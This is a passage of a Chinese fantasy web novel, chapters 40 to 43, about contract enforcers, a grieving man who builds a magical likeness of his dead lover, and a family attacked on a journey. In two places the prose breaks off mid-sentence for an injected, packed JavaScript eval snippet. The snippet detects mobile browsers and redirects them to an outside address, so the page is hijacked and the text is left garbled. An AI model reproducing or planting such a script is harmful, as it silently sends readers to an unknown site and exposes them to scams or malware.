一个怪异的男子站在车上,他身着彩色长袍,头戴高帽,帽子上插了几根不知名的羽毛。 他挥舞手中长长的法杖,绕着塑像来回跳动,嘴里不时高声道: “瘟神速离,康健永随!” “瘟神退散,福寿绵长!” “……” 队伍渐渐远去,末尾的几人将纸钱高高抛起,几枚纸钱摇摇晃晃地落在惜春楼的窗外。 夕阳西去,冷风拂起。屋内的白纱被吹出窗外,随着纸钱一同在风中飞舞…… 一声惊雷劈开夜幕,雨点如碎石般砸向地面。 楚秋成冒着风雨躲进破庙之中,他浑身的衣裳都被密集的雨水打湿,背上的两个包袱也被浸透,沉甸甸的。 一路上,他特意避开人群,专挑人迹罕至的小路,想着明日赶去另一个城里再雇马车,离此地越远越好。 他拿出火折子欲点燃庙里的残烛,可忽然一道闪电划破天际,炸耳的响雷震得大地微微颤抖。 楚秋成差点没站稳,手中的火折子也掉在地上。 他借着电光捡起火折子,重新吹起火星。 可蜡烛刚刚燃起,楚秋成便一眼瞧见庙门口站着一个人影。 “你是谁!?” 那人影听得楚秋成的惊喊,缓缓走近烛火。 “楚秋成,你可还认得我?” 楚秋成借烛火将来人打量着,可只将将看了他一眼,便突然抱起包袱朝外跑去。 “你跑什么!?” 周厉瞬闪到门前,堵住楚秋成的去处,并将他重推在地。 楚秋成摔在地上,包袱里的金银首饰散落一地。 “你当初与柳白微签下契约,说好的厮守终生,不离不弃,怎么现下只剩了你一人?” “这位神仙,你不知道,城里闹了瘟疫,白微也身染重病,她活不长了。我若不走,不出几日也会同她一样的!”说完楚秋成忙去捡地上的银子。 “你走之前,柳白微可还活着?” “她……还剩一口气。” “她还活着你就弃她而去,还有……”周厉从楚秋成手中夺下一支簪子,“这东西恐怕不是你的罢。” “我已经做了我能做的,我去买过药,可是医馆已无药可治了!”楚秋成近乎哀求地说道。 “这不是你抛弃她的理由,你自己亲口承诺过,要对她不离不弃,还在契书上摁下了手印。如今你弃她而去,违反契约,就应当承受你自己定下的惩罚!”周厉斩钉截铁道。 一道闪电划过,楚秋成跪在地上,眉头深皱,嘴角扭曲,满脸痛苦的模样。 “……当初那份契约我只是将它当作婚约,凡间的婚约数不胜数,谁又敢保证在生死面前都能够坚守承诺?更何况白微爱我,她不会让我同她一起死的。” “别人无法坚守自己的承诺,和你有什么关系?你签订契 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807288|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约时我已经提醒过你,这份契约也是你自愿签下,且有契约神做见证,你抵赖不得。” 楚秋成低下头,泪水滑过脸颊,坠落在地上。 “我只是想活着……我不想那样死去……我不是不爱白微,只是……我太害怕了。” “害怕还不忘带上柳白微的首饰,我看你爱的人根本不是柳白微,而是你自己。” “难不成……你当真要为了那份契约杀了我么!?”楚秋成猛然抬起头,目露凶光,“换作是你,难道你能放着生路不走,要选择一条死路么?” 周厉揪住楚秋成的衣领,面色阴沉道:“我不像你,无法兑现的承诺我不会轻易说出口。若真是我所爱之人,我也绝不会离弃她!我倒想问你,若身染瘟疫的是你,柳白微携了你的钱财将你抛之脑后,你会作何感想?” “我……我不知道……” 周厉怒气冲冲地甩开他的衣领:“懦夫!你既然签订了契约,就没有反悔的道理!” 说着他施法凭空变出一把匕首,扔在楚秋成的面前。 “你若还是个男人,就自行了断!” 天雷滚滚,烛光微颤,那匕首在地上闪着凌厉的寒光。 楚秋成满脸泪水、浑身颤抖地捡起地上的匕首,嘴里仍反复念着: “我不想死……我不想死……” 周厉沉声叹了口气,索性背过脸去。 楚秋成举着匕首,迟迟不肯下手。他望着地上的钱财,又抬头瞧了眼周厉。 忽然,他站起身,举起匕首朝周厉的后背刺去,口中大喊道: “我不想死!” 周厉听着渐近的脚步声,只偏身一踹,便将他踢出几丈远。 楚秋成重重地摔在地上,他的头磕到神像下的台阶,顿时血流如注。 “有渝此约,明神殛之。” 周厉捡起地上的簪子,塞进楚秋成的手中。 楚秋成捏着簪子,目光无神地盯着头上的神像,呼吸逐渐微弱…… 大雨倾盆,飞红山的花瓣被雨水冲刷到地上,混在泥泞的土壤之中。 松软的泥土上被踩出两串长长的脚印,向山上延伸。 “柳姑娘她……”周厉欲言又止道。 江远倾朝他摇了摇头,沉默无言。 “楚秋成违反契约,他已经死了。”周厉举着残荷顶在头上,“他临死前还想杀我。” 江远倾听闻朝他身上投去关切的目光。 “我没事,只是听他说那城里闹了瘟疫?” 江远倾点了点头:“是的,死了很多人,那城里已是十室九空。” “天灾之下,人命就同这脚下的烂泥一般微贱。只是每到这时,为何都不见天庭里的神仙出手相助?”周厉义愤填膺道。 “或许有别的缘由罢。”江远倾的声音微弱到几乎被雨点掩盖。 “有朝一日上了天庭,我定要问问。” 眼见雨越下越大,二人走到离竹屋不远处的石阶上。 “我到了,这荷叶给你罢。”江远倾将手中的荷叶递给周厉。 周厉透过雨线隐约看见竹屋内闪着微光。 “你那竹屋里怎么还点着烛火?” 江远倾朝竹屋看了一眼:“兴许是我出来得急,忘了。” “那我走了。” “嗯。” 目送周厉离去后,江远倾疲惫地叹了口气。 他走到竹屋前,却不进去,任由雨水打湿发丝。 柳白微临死前说的话还有她那副悲痛的面容,仍在江远倾的脑海里挥之不去。 他闭上眼睛,冰凉的雨水不断从他的脸颊滑落,将他的体温一点一点地夺去。 雨水落到竹屋后的芭蕉叶上,发出清脆的声音。江远倾静静地听着,直到衣裳被挟带寒意的雨滴全部浸湿。 冰冷刺骨的寒意透过衣裳沁进肌肤,江远倾这才朝竹屋走去。 他推开房门,温暖的烛光映入眼帘。 房间内一位女子正站在烛火旁阅读手中的书籍,见江远倾推门而入,她那双明亮的眼眸定定地望着他。 江远倾盯着女子,眼中忽然闪过一道亮光,烛火照亮了他略震惊的脸庞。 她的手腕上,分明挂着一个令他十分熟悉的粉色香囊…… 41.第 41 章 “这香囊你是从何处拾得?”江远倾焦急地问道。 女子将手上的香囊解下:“我今日在家中时,窗外飞来一只鸟,那鸟的嘴里衔着这个香囊。我见它好看,便戴在手腕上。” “……这是我的香囊。”江远倾看着那香囊,不知不觉眼眶已泛红,泪珠在睫毛间闪烁。 “这香囊对公子来说很重要么?” 江远倾含泪点了点头。 女子将香囊放在他的手中,不时打量着他的神色。 江远倾瑟瑟发抖地坐在椅子上,仔细瞧着手中的香囊,好在除了有些脏污,香囊上并无其它破损。 “公子,你的头发都湿了。” 女子拿起一条手巾轻轻地擦拭着江远倾的发丝,擦完发丝后又换了条干爽的手巾擦拭他的耳朵。 江远倾抬起头,她那专注的神态和赵兰一模一样。 女子隔着手巾将他的耳朵轻轻揉捏,继而顺着他的耳后擦向他的脖颈。 她那双纤细的手刚刚触碰江远倾脖颈上的肌肤,便使得他的身子忽地一颤。 “远倾哥哥,你冷么?”女子语气轻柔道。 江远倾满脸惊诧地望向她:“你……方才唤我什么?” “兰儿方才唤你……远倾哥哥。” 江远倾抓住她贴在自己脖间的手,嘴角不禁颤抖道:“能否再唤我一声……” 女子微微躬身,贴近他的脸道:“远倾哥哥,你浑身都湿透了,兰儿很担心你。” 江远倾听着她的话语,心中的诸多情感再也抑制不住,眼角的泪水不断涌出。 他紧紧地抱住眼前的女子,啜泣声在寂静的屋内回荡。 “兰儿……我好累,我很想你……” “远倾哥哥,兰儿会一直陪在你的身边。”女子抚摸着他的发丝,轻轻地安抚着。 江远倾松开她的身子,满脸泪痕地望着她:“你是不是怪我?怪我没有和你私奔?” 女子捧着他的下巴,指尖轻抵在他的眼角:“远倾哥哥对兰儿很重要,兰儿怎舍得怪你?” “那你……为何从未进入我的梦中?” “远倾哥哥心中疲惫,兰儿怎能扰你清梦?再说,兰儿这不是已经站在你的面前?” “兰儿,其实……我很想和你私奔,我想和你生生世世在一起。可是……我不能答应你,我要顾忌的人和事实在太多……”江远倾哽咽道,“我原希望你可以嫁给一个比我更好的男子,能够无忧无虑、幸福地活下去,可是没想到竟还是害了你……” 女子轻轻地摩挲着他的脸庞,眼中充满爱怜。 “远倾哥哥的心思,兰儿明白了。” “虽说我已不奢求你的原谅,但我还是想问问你……你的心中对我可还有一丝挂念?” 江远倾满眼渴求地望着她,明亮的眼眸在烛火的照耀下闪着璀璨的光芒。 “兰儿的爱慕之心,远倾哥哥不是一直都心知肚明么?” 江远倾如释重负,脸上终于露出一丝喜悦。他站起身,将她紧紧地拥入怀中。 “兰儿……我也爱慕你,一直以来都是……” 江远倾的心中生起一股从未有过的安心,他靠在她的肩上,那肩膀瘦小柔软,却令他感到无比的踏实和安稳。 “远倾哥哥,兰儿替你换身衣裳罢,莫要染了风寒。” 女子轻轻推开他的胸膛,江远倾依依不舍地离开她的肩,眼睛仍留恋地盯住她的脸。 他知晓自己有契约神法力相护,不会轻易就得了风寒,可他还是任由着女子探向自己的腰间。 他顺从地由她剥去最外层的衣裳,目光落向她低垂的眼眸。 她那细密的睫毛随着眼眸轻轻扇动,她的鼻尖别致小巧,鼻翼在呼吸间微微翕动,每一丝气息都扑向他的颈间。 江远倾的眼眸不知不觉地停在她的唇上,她的嘴唇微微张开,眼帘忽地抬起,一双清澈似水的眼眸凝望着他。 江远倾忙移开目光,喉咙轻咽,呼吸渐渐变得局促。 女子轻抚着他剧烈起伏的的胸口,顺势褪下他的另一件衣裳。 只剩最后一件里衣,那里衣被雨水浸透,紧紧地贴着他的身子。 女子揭开那层湿衣,指尖不经意地划过他略带凉意的肌肤。 最后一件里衣也被褪去,女子垂眸望着他那白中泛红的锁骨,双手轻轻搭在他的腰间,往他的腰后抚去。 “远倾哥哥,你在发抖,你很冷么?” “我……”江远倾的呼吸声沉重无比,他偏头慢慢靠近她的脸,灼热的气息撞到她的脸颊后又回到他的嘴唇。 他缓缓调整距离,直到贴近她的唇。 “可以么?”他的声音嘶哑低沉。 女子望着他那滴血般的耳垂,伸出一只手覆在他红热的后颈,略使了些力气将他推向自己。 她如蜻蜓点水般轻轻触碰了一下他的嘴唇,可他似不满足,复贴上她的唇。 先是轻舐她的唇珠,随后不断吸吮着她那柔软的嘴唇。或轻点唇角,或将她的一瓣嘴唇含在齿间轻轻啃咬。他的亲吻毫无章法,略带着些急切,明明心中十分珍视那块柔软的地方,可一落唇,便再也抑制不住心中的欲望,他自己都有些捉摸不透了。 他在她的唇上停留了许久,颇恋恋不舍。 他温柔地托着她的脸,舌尖轻轻挑开她的嘴唇,滑过她的齿间,拨弄着她那湿软的舌头。 女子伸手抚摸着他的后背,他的身子滚烫得很,先前沾上的雨水早已蒸发不见。 “兰儿……兰儿……” 江远倾低声唤着,他意犹未尽地离开她的唇,亲了几下她的脸颊,又将嘴唇覆在她的耳垂轻轻吮吸着。 他贴近她的耳朵唤了几声“兰儿”,随即又吻上她的脖颈。 女子渐渐站不住脚,江远倾索性将她抱起,嘴唇仍在她的锁骨处停留。 他将她轻轻放在床上,滚烫的身子压了上来。 他一面解开她腰间的系带,一面含住她的衣裳轻轻褪去…… 一阵挟带雨意的微风拂过,烛火瞬灭。 寂静的夜里,雨水轻轻敲打着窗户。雨滴沿着屋檐缓缓滑过,汇聚成流,重重地滴落在地上。 屋内,沉重的喘息声连绵不断,微弱的呼唤回荡在耳边。 一滴雨珠坠落在芭蕉宽大的叶片上,传来清脆的声响,芭蕉叶不禁缓缓颤动。它因着惯性在叶脉间来回滑动,留下一滴滴细小的水珠。 雨下了一夜,直到天光微明时才渐渐停歇。 这场大雨之后便是接连的晴日,虽是旭日当空,万里无云,可微风拂过时带了些寒意,再无炽热的触感。 这几日,挂在檐上的铃铛一动不动,从未发出声响。 江远倾也总是懒懒的,日升时刻除了梳洗用饭,便是躺在床上,只有午后会读两个时辰的书。 他一连几日都闷在竹屋里,从不踏出门槛,更莫说踏出飞红山。 就连周厉来寻他时,他也是以各种理由推脱不见。 在一个风和日丽的下午,江远倾照例坐在窗前读书。日影西斜,阳光透过门缝恰巧投射在江远倾的书页之上。 他扭头望向那道阳光,刺得他眼前发白。 忽然一抹倩影站在那道阳光之下,江远倾才逐渐缓过神来。 “远倾哥哥,可好些了?”女子娇声道。 她那乌黑的长发没有束起,只披散在肩上,阳光照在她的头发上,每一根发丝都似镀上了薄薄的金辉。 她左肩上的衣裳欺近颈根,右肩的衣裳却摇摇欲坠,似落非落。 腰上些许阳光穿过,透明的衣服里柔美的腰肢若隐若现。 江远倾盯了一会,摇头浅笑道:“比方才更耀眼了。” “可你的书页上分明没有日光。” “我将椅子移到旁处就好,有劳你了。”江远倾的嘴角仍留有一丝笑意。 女子悻悻走到他身旁,倒了一杯茶水递给他。 “远倾哥哥,你在看什么?” “你要看么?”江远倾朝她伸出手。 “嗯。” 女子将手放在他的手心,却不想被他用力拉到怀中,坐在他的腿上。 “你自己来看……”江远倾隔着衣裳朝她的脊背吻去。 女子捧过他方才阅读的书籍,他持书的那只右手便得了闲,从身后环抱住她的腰。 她稍稍偏头望他,只见自己的头发不知何时被撩到一边,发尾攥在他的手心。他在她的背上落吻无数,眼眸也渐渐失了神。 “你这样……我该如何看得进书……” “怎么看不得?”江远倾吻上她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815930|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩,将她那摇摇欲坠的衣裳吻落。 他轻咬她的肩骨,又一路往她的颈上吻去,可吻到一半,他忽然抬起嘴唇。 “……怎么了?”女子抚摸他的下巴。 “你身上怎么有兰花的香气?”江远倾的眼眸逐渐回过神。 “我见香囊中放了兰花花瓣,想着你定是喜欢兰花的香气,于是采了些紫色兰花别在身上,别了许久才摘下。” 江远倾若有所思,神情瞬间落寞了许多。 “怎么?远倾哥哥,你不喜欢么?” “错了……”江远倾摇了摇头。 “哪里错了?” 江远倾将她肩上的衣服盖回去,神情恍惚地推开她。 “远倾哥哥,你怎么了?兰儿哪里做错了?” “抱歉,我想静一静。” 江远倾抱住头,脑中忽地一阵疼痛…… 日光逐渐落去,寒风随着夜幕降临。 一支残烛点在书案之上,散发着微弱的光芒。 江远倾躺在床上望着那烛火怔怔出神,他偏头看向自己的肩膀,那张熟悉的秀丽面孔靠在自己的肩上。她的呼吸均匀且深长,睡得正香甜。 究竟是哪里错了? 江远倾睁着眼睛反复思量。 外间寒风簌簌,江远倾不知想了多久。 忽然,寂静的夜中隐约传来女子的啼哭。那声音时远时近,似乎是被寒风卷挟着吹到各处。 江远倾心生疑惑,悄悄下床披了衣裳朝外走去。 他循着声音穿过竹林,前面不远处亮着几盏灯火。 逐渐走近时,江远倾忽然发现那是座春楼,门匾上写着“惜春楼”。 “奇怪,惜春楼怎么会在飞红山?” 江远倾正纳闷,耳边又传来哭声,这回那哭声极近,像是在楼上。 他推门而入,惜春楼里空无一人,眼前的情景令他似曾相识,就连上楼时的台阶都让他有股熟悉的感觉。 他依着声音推开一间房门,房内点了微弱的烛火。 房间的梁上悬挂了几片白纱,窗户大开,白纱在风中轻盈飘舞。 地上坐着一个女子,那女子背对江远倾抱膝痛哭。 “柳姑娘,你的契约生变,在下特来寻你。”江远倾将此话脱口而出,说完之后又觉得哪里有些不对劲。 女子停住哭声,缓缓抬头,可悬挂的白纱来回飘动,遮住了她的脸。 “柳姑娘……?” 窗外一阵风吹来,白纱忽地从梁上滑落,飞出窗外。 那女子猛然站起身,她的面容清晰无比。 “什么柳姑娘?我是赵兰!” “兰儿……?”江远倾认出那女子的脸正是赵兰,可诡异的是她的脖子上有一道极深的伤口,伤口上正在滴血…… “远倾哥哥,你是不是都将兰儿忘得一干二净了?” “怎么会?我绝不会忘了你……兰儿,你的伤口……” “你说谎,你分明是将我忘了!我原以为你是真情实意,可你却和我爹爹一样,都只是将兰儿当做交易的筹码,最后说弃便弃了!” “兰儿……” “别过来!”赵兰忽地从身后拔出一把带血的刀,指向江远倾。 “我……我从未将你当做筹码,我对你也的确是真情实意。只是那时我家中的变故……我实在不愿连累你,我希望你能过上安稳的日子……” “你说的可句句属实?”赵兰的眼中闪着泪光。 “句句属实。”江远倾声音颤抖道。 “那么……你此刻……又是在与谁同床共枕!?” 她的声音如同响雷一般,震耳欲聋。 江远倾忽地从梦中惊醒,心跳立时如受惊的野马,在他的胸腔内疯狂撞击。 “远倾哥哥,你怎么了?”躺在一旁的女子关切地问道。 “……我没事,你继续睡罢。” 江远倾穿上衣裳,将书案上的残烛吹灭,随后推开门离了竹屋。 此时正值深夜,寒风不知何时已慢慢停歇。他坐在竹林下的石桌旁,大脑一片空白,仿佛还沉浸在方才的噩梦之中。 不知坐了多久,江远倾终于缓过神来。 他双手掩面,泪水默默滑过。 寂静的夜里,传来他微弱的啜泣声…… 42.第 42 章 夜色褪去,晨光熹微,江远倾在石桌旁坐了一夜。 他睁着疲惫的眼眸盯着桌上的那本书———《幻偶》。 晨风拂起,江远倾脸颊上的泪水早已干透,只剩一道道泪痕。 “远倾哥哥,你为何坐在这里?”身后传来那女子的声音。 她将手搭在江远倾的肩上,顺势也坐在石桌旁。 “我是你的创造者,请不要那样唤我。”江远倾声音嘶哑道。 女子惊得一怔,方才还平和的神色此时凝滞在脸上。 “……公子,发生什么事了?兰儿做错了么?” “你没错,是我错了……”江远倾叹息道,“这些日子有劳你多番讨好我,可惜只是梦一场。既然是梦,也该是清醒的时候了。” “公子将它当作梦,可兰儿却十分珍惜这段时光。兰儿诞生当日公子便告知兰儿,不久后就将兰儿收回,却没有交于兰儿任何事务去做。兰儿终日找寻不到自己的意义,直到……公子吻了我……” “对不起……”江远倾怜惜地望着她,“我的确没有事务要交于你,我只是依着心中的样子试着做出一个幻偶罢了。” “那……兰儿不符合公子心中的模样么?”女子失望地问道。 “你是我制出的幻偶,终究不是真正的凡人……”说到此处,江远倾的语气忽然有些哽咽,“真正的兰儿,她已经死了……” “原来公子将我制出,是为了睹物思人,怪不得公子心中有着莫大的悲楚。” “谢谢你帮我找回香囊,不过我还是要将你收回,抱歉……”江远倾一脸歉意道。 “公子既思念着她,为何不留下兰儿相伴左右,好一解相思之苦?”女子将手覆在他的手背上,眼中渴求道。 “抱歉。”江远倾抽出手,“你终究不是她,你和她不一样。” 女子缓缓收回手,眼中哀伤道:“那公子心目中的那个兰儿是什么样子?” “她……”江远倾的脑海中浮现无数片段,“她心中澄净,不被尘世沾污一丝一毫。她行事果敢,敢爱敢恨,毫无畏惧。她……她的爱如泉水般清澈,从未有任何遮掩。她说过,无论我走哪条路,都能很好地走下去……” “我知道了。”女子淡然道,“公子,谢谢你告诉我。” 说完女子缓缓站起身,走了几步,转身对江远倾道: “公子将我收回罢。” “抱歉……”江远倾施法在她脚下画了一道白圈。 “不过,我还有最后一个问题想问问公子,不知公子能否如实回答我?” “好。”江远倾眼中泪水涌动。 “公子与我相处的这段时光,可有为你那充满悲愁的心中带来一丝慰藉?” 江远倾思量片刻点了点头:“有。” 女子露出释然的笑容:“那便好。” 白圈上露出微弱的火苗,一阵风吹过,火苗瞬间蔓延。 女子站在白圈之中,任由火焰从脚上烧到自己的衣角,整个身子渐渐陷于火海之中。 “远倾哥哥,保重,兰儿告辞了……”女子说完最后一句话后消失在团团火焰之中,留下一堆灰烬。 江远倾瘫坐在地上,他望着地上的灰烬,眼角的泪水悄然滑落。 他拿出怀中的香囊,倒出里面的兰花,轻声道:“兰花是我放的,真正的兰儿不喜脂粉,身上从未有香……” 泪水从江远倾的脸颊坠落到地上,晨风挟带朝阳的暖意吹过,灰尘飞起,将地上的泪痕掩盖。 朝阳破云而出,穿过树叶在地上洒下几道金光。 江远倾在地上坐了许久,地上的金光随着时光流转渐渐迁移。 可有一道金光却仍在原地,丝毫未动。 江远倾缓缓抬头望去,这才发现那是契约神毛发散发出的金光。 “契约神……” “你既已见他人为情所困之状,何故仍执迷不悟,深陷其中?” 契约神坐在地上,空中飞舞的花瓣不时落在他浑身金色的毛发上。 “上神都知道?”江远倾泪眼朦胧道。 “莫要忘了,你身上的法术是本神赐予你的,就连你看的这本《幻偶》都是本神所写。” 江远倾听后默默地低下了头。 “你要多谢周厉,这几日是他在处理契约事宜。” “是我误事了。”江远倾低声道,语气十分无力。 “误事倒还不算。”契约神叹息一声趴在地上,“本神与凡人打交道这么多年,最无法理解的便是‘情’字。为何凡人世世代代都如盲羊一般,追逐眼前的幻影,直致遍体鳞伤?” “上神若不知,在下便更不知了。” “《幻偶》这本书是出自本神之手,可本神却并未将制作幻偶的弊端写在其中。” “弊端?”江远倾道。 “幻偶制成之日,制偶人需立即指派事务,若制偶人非但不指派事务还将幻偶留在身边,那么幻偶就会将制偶人视作此次事务的对象。他们会窥探制偶人的思想,侵蚀制偶人的神志,最后制偶人会因魂力耗竭而亡。” “什么……”江远倾心中一阵后怕,他忽然想起昨夜的梦境,原来兰儿是在警醒自己…… “上神既然知晓,为何要眼睁睁见我深陷险局?” “本神想知道你最后会做何抉择,是深陷其中自甘堕落还是幡然醒悟抽身而去,事实证明本神没有看错人。” “上神向来如此冷眼旁观凡人的生死么?”江远倾站起身,心中顿时涌起一团怒火,“远倾一直不解,为何上神明明法力无边,却对凡人的生死不管不顾,难道……上神真的痛恨凡人么?” “你想要本神如何救?”契约神那双深邃的眼眸静静地盯着江远倾,闪着冷峻的光芒,“凡人生命短暂,世世代代更迭不休,救了一人还会有下一人,你以为本神救得过来么?” “那至少……要救眼前之人。”江远倾坚持道。 “本神不可干涉凡人生死,你也不行。你若是干涉契约之外凡人的生死,便是违约。到时不但本神要受天庭的责罚,你也会。” “那为何天庭众神也不出手相助?现在凡间大疫,他们也不管么?” “天庭众神各司其职,没有你想象的那么简单。”契约神站起身,将身上的花瓣抖落,“本神劝你莫要违约,于你我而言都没有好处。想想你的镖局、你的家人,还有周厉,你要是违约,他便再也成不了神仙了。” 江远倾叹了口气:“远倾知晓了。” 话罢,契约神转身离去,只见一阵狂风吹起,那道金光逐渐消失在纷飞的花瓣之中。 江远倾思量片刻,拿起石桌上的《幻偶》。 他推开书房的门,走到最里面的书架旁,将手中的书放回了最上层…… 晨云渐散,秋阳杲杲。 秋风带着几分萧瑟穿过光秃秃的树林,掠过一道崎岖的土路。 路上的尘土被猛然掀起,附着到路旁稀疏的杂草上。 阳光下,灰蒙蒙的杂草丛中,闪烁着星星点点的淡黄色光芒。 那一抹抹不起眼的淡黄色是正在盛开的养心菜的花朵,花瓣薄如蝉翼,花形状如五角星。 即便被尘土掩盖,仍散发着淡淡的清香。 忽然,一个颤抖的人影走近,他伸出枯瘦如柴的手,将养心菜连根拔起,淡黄色的花瓣被抖落一地。 那人手中拄着根枯枝做的拐杖,手腕上挂了个破篮子,篮子里装着各种各样的野菜。 他颤颤巍巍地弯下腰,将脚旁的养心菜皆数拔起,塞到篮子里。 这一连串的动作虽简单,却令他气喘吁吁。头上仅剩几缕的银丝很快被汗水浸湿,豆大的汗珠滑过他那粗糙黝黑的脸皮。 他停住脚步,用肩上一块破旧的手巾将脸上的汗水擦去。凝神静息间,他隐约听见土路的尽头似乎传来一阵细微杂乱的脚步声。 他静听良久,果然有一行人从那尽头处缓缓走出。 走在前头的像是骑马的护卫,接着便是十几个身着华丽的仆从。仆从身后跟了两辆马车,马车两旁有侍女相随。 他直起腰,目光一直盯着前头的马车。马车车帘不时随着车身晃动,露出时有时无的缝隙。透过帘缝望去,里面似乎坐着位花容月貌的妇人。 “老头,我向你问个路!” 头顶上传来一声粗喝,老人抬头望去,原来自己看得太过入神,领头的护卫已经骑着马行到自己身旁。 “我们要去江南,这条路可通官道?” 老人站在原地,睁着两颗凹陷混浊的眼珠子一言不发。 “老头!我问你话你怎么不答!?”那男子骑在马上,语气不耐烦道。 这时前头马车上的帘子被掀开一角,露出一张娇艳华贵,眸如秋水的脸庞。 “傅成,他一个老人家,眼花耳聋的,你吼他做什么?”女子坐在马车里声音洪亮道。 说完她咧开红唇,朝老人客气地笑了笑。 她瞧了眼老人的装扮,转身对车旁的丫鬟道:“蓉儿,拿几张饼。” 唤作蓉儿的丫鬟听后,立即从背后的包袱里抽出几张焦脆的饼,用白布包了递到老人面前。 “我家大娘子给您的。”说着蓉儿将饼放在他的手上,又往篮子里悄悄塞了个装着碎银的布袋。 老人接过脆饼便立即啃咬了几口,他的嘴里只剩下几颗牙齿,啃起来十分费劲。 “这回你该说了。”傅成道。 “往前走,遇到岔路的时候往右,走两个时辰便是官道。”老人一边吃饼一边道。 “多谢!” 马车里的女子满脸堆笑,她将帘子放下,斜眼瞧着一旁正闭目养神,留着长须的男子。 她脸上的笑容忽地消失,眼中一团怒气。 “老爷,我早就说过直接上官道,你非得抄近道。现下好了,这路破得跟筛子似的,还花了我不少银子。” “英娘,我们已经走了几天了,总不能折返罢?再说这条道它的确是近道。”男子半眯着眼睛道。 英娘冷哼一声,仍是不服气:“要是没有那个老人家,我们不知还要走多少冤枉路。我们坐在马车上倒是不碍事,要是苦了你那身娇肉贵的小娘子,你可又要心疼了。” 男子睁开眼眸,无奈道:“不是你让她下车步行的么?再说她自小学戏,哪里就身娇肉贵了?” “不愧是悄悄在外养了她四年,对 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说完英娘委屈地掩脸哭泣,哭声引得马车外的人纷纷侧目。 “停车停车!”傅观文掀开车帘,还未待马车停稳便伸出脚下了马车。 “老爷,还没到呢。”傅成骑马赶来。 “我饿了!起灶打火!” 傅观文怒气冲冲地寻了个空地坐下,一旁的仆从忙去拾柴起灶。 不一会儿,柴火点起,锅里渐渐飘起饭香。 “老爷,饭好了,奴婢去叫少爷用饭。”一个丫鬟朝傅观文道。 “嗯。”傅观文别着脸,怒气仍未平息。 英娘坐在一旁,脸上的泪水早已被风吹干,可仍咬着牙,一副怒容。 这时那丫鬟远远地走来,身后跟着一对母子。 “鸿儿,到爹爹这里来。”傅观文朝那孩子唤道。 可那年近四岁的孩童置若罔闻,一个劲儿地躲在女人身后。 女人穿了身素净的衣裳,面容清丽脱俗,未施粉黛,乌黑的发丝间只简单地插着一根玉簪。 “鸿儿,听话。”女子将傅鸿轻轻推向傅观文,随即朝英娘行了个礼,“夫人好。” 英娘瞥了她一眼,沉默不语。 见她对自己不理不睬,女子只得自己挑了个地方坐下。 “谁让你坐下的?你一个戏子还妄想与我们平起平坐么!?”英娘怒吼一声:“跪下!” 女子朝傅观文望去,可他低着头没有要言语的意思,她暗叹口气,只得顺从跪下。 “你叫什么名字?” “小女子姓宋,名镜柔。”宋镜柔的声音细若蚊蚋。 “唱的什么戏?” “小女子常扮刺杀旦,《一捧雪》里的雪艳唱得最好。” “是唱得好,都唱到家里来了。”英娘朝傅观文瞪了几眼。 “这戏我听过,里面有出重场戏,叫做《雪艳刺汤》。可我见那戏里的雪艳刺杀汤勤时都是何等的英勇无畏,怎得你此时倒柔柔弱弱,一副低声下气任人欺的模样了?”说着英娘提高了些音量,“难道是当着谁的面装可怜么?” “夫人,那都是戏里的,怎能当真?”宋镜柔低声道。 “台下和台上还真是差得多了,你说呢?” 宋镜柔低垂眼眸,嘴角勉强挤出一丝苦笑:“夫人说得对。” “哼,你若是学得雪艳的一分坚贞不屈,也不会有今日了。” “夫人是不是看错了戏?”宋镜柔抬起眼眸,“坚贞不屈之人也难免有委屈求全的时候,雪艳亦是如此。” “委曲求全?”英娘顿时怒从心起,猛然站起身,“你不过是走了几日路,晒了几日太阳,还敢在我面前提‘委曲求全’!?” 说完英娘猛踢一脚锅下的草木灰,那尚带余热的草木灰立时溅了宋镜柔一身,脸上也满是灰点。 “英娘!你这是做什么?”傅观文喝道。 “被我们傅家买来做妾你烧香谢佛都来不及,还提什么委屈!?” “夫人,您消消气,瞧您的鞋都脏了。”一旁的蓉儿忙跪地按住英娘的脚踝,抽出怀中的手帕去擦鞋。 “去去去!你那手帕只会越擦越黑,去拿水来!” “方才做饭时水好像用完了。” “那便去打水!”英娘忿忿道。 “是。”蓉儿站起身,端了个水盆兀自离去。 宋镜柔跪在地上一动不动,眼前的草木灰迷得她睁不开眼。 一旁的傅鸿欲上前却被傅观文拉了回来:“都是黑灰,你去做什么?” 宋镜柔抖落眼皮上的草木灰,朝傅鸿露出了浅笑。 正午渐过,日光西斜,蓉儿端着水盆走了许久仍未寻到水流。 她循着湿土一路走着,终于在一处灌木丛中发现了细小的溪流。 她将水盆放在溪流低处,一手扶盆一手擦汗。 忽然,一滴冰凉的水珠坠落到她的颈间,她伸手摸去,竟有些粘稠。 她缓缓抬头望去,竟有一只似猿非猿的怪物不知何时挂在她头顶的树上。它浑身黑毛,长着一对锋利如刀的獠牙,眼中泛着诡异的幽幽绿光,正嘴角流涎地盯着她…… 43.第 43 章 树林里传来一声凄厉的喊叫,众人不由得将目光纷纷投向远处的那片树林。 “什么声音?”傅观文顿时紧张起来。 “这声音有些耳熟。”英娘捂住狂跳不已的胸口,在脑中仔细琢磨,她环顾四周,忽然觉得少了什么。 “蓉儿呢!?” “夫人,方才您吩咐她去打水了。”一个丫鬟回道。 